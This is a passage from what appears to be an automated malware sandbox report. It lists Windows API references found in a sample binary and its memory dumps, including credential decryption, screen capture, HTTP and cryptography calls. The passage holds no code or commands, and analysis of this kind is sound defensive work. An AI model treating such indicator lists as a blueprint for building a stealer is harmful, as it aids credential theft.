"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "SetEndOfFile"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "LeaveCriticalSection"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "WideCharToMultiByte"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetStringTypeW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "RtlPcToFileHeader"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "DeleteCriticalSection"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "SetEnvironmentVariableW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "FlushFileBuffers"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "FlsFree"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetModuleHandleExW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "ReadFile"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetLastError"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "IsValidCodePage"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "MultiByteToWideChar"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetCurrentProcessId"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "LCMapStringW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "RtlUnwind"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "WriteFile"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "RtlCaptureContext"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CompareStringW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetModuleFileNameA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "IsValidLocale"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetProcAddress"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetCommandLineA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "LCMapStringEx"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "SetLastError"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "ExitProcess"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "RaiseException"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "AreFileApisANSI"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CompareStringEx"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "EnumSystemLocalesEx"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetDateFormatEx"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetLocaleInfoEx"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetTimeFormatEx"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetUserDefaultLocaleName"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "IsValidLocaleName"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "LCIDToLocaleName"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "LocaleNameToLCID"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "TlsAlloc"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CreateProcessW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetFileAttributesExW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "FormatMessageA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "TlsGetValue"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetTickCount"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "SetConsoleTextAttribute"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "Sleep"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "SizeofResource"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetFileInformationByHandleEx"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetModuleHandleA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "TlsSetValue"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CreateDirectoryW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "LockResource"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CreateNamedPipeW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "LoadResource"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "PeekNamedPipe"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetConsoleScreenBufferInfo"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "ConnectNamedPipe"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "LocalFree"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "FindResourceW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "FindFirstFileW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "TlsFree"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "SetConsoleOutputCP"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetCurrentDirectoryW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetFileVersionInfoW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "VerQueryValueW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "RegCloseKey"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "RegQueryValueExA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "OpenProcessToken"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetTokenInformation"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "RegOpenKeyExA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CryptUnprotectData"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CryptStringToBinaryA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "DeleteDC"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CreateCompatibleDC"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "SelectObject"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "BitBlt"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "DeleteObject"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetObjectW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CreateCompatibleBitmap"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetDIBits"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CreateHardLinkW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "LockFileEx"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "MapViewOfFile"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetLocaleInfoA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "ExitThread"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetSystemTime"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "OutputDebugStringW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CopyFile2"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CreateFileA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "SetFileInformationByHandle"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "TryEnterCriticalSection"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CreateFileMappingW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "DeleteFileW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "FindResourceA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CreateSymbolicLinkW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "LockFile"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CreateThread"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetFileAttributesW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "DeviceIoControl"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetDateFormatW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetConsoleWindow"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "UnlockFile"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetExitCodeProcess"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetFileSize"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "FormatMessageW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "LoadLibraryW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "FlushViewOfFile"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "InitializeCriticalSection"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "HeapCreate"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "WaitForSingleObjectEx"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetDiskFreeSpaceW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "LoadLibraryA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CreateMutexW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetFileAttributesA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "OutputDebugStringA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "HeapValidate"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CopyFileA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "UnmapViewOfFile"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetTimeFormatW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetFullPathNameA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetVolumeInformationA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "HeapCompact"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetTempPathW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "UnlockFileEx"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetFullPathNameW"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "SetFilePointer"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "SystemTimeToFileTime"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "FreeLibraryAndExitThread"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GlobalMemoryStatusEx"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetSystemInfo"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "HeapDestroy"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetTimeZoneInformation"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "CreateFile2"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "SHGetSpecialFolderPathA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "ShowWindow"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "ReleaseDC"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetSystemMetrics"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "GetDC"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "InternetConnectA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "HttpSendRequestA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "InternetSetOptionA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "HttpQueryInfoA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "InternetOpenUrlA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "InternetCloseHandle"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "InternetReadFile"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "HttpOpenRequestA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "InternetOpenA"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "BCryptOpenAlgorithmProvider"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "BCryptDecrypt"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "BCryptDestroyKey"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "BCryptGenerateSymmetricKey"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "BCryptSetProperty"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "BCryptCloseAlgorithmProvider"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API (Indicator: "IsWow64Process2"; File: "00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "EnumSystemLocalesEx"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetDateFormatEx"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetTimeFormatEx"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "IsValidLocaleName"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "CharLowerW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "CharUpperW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: 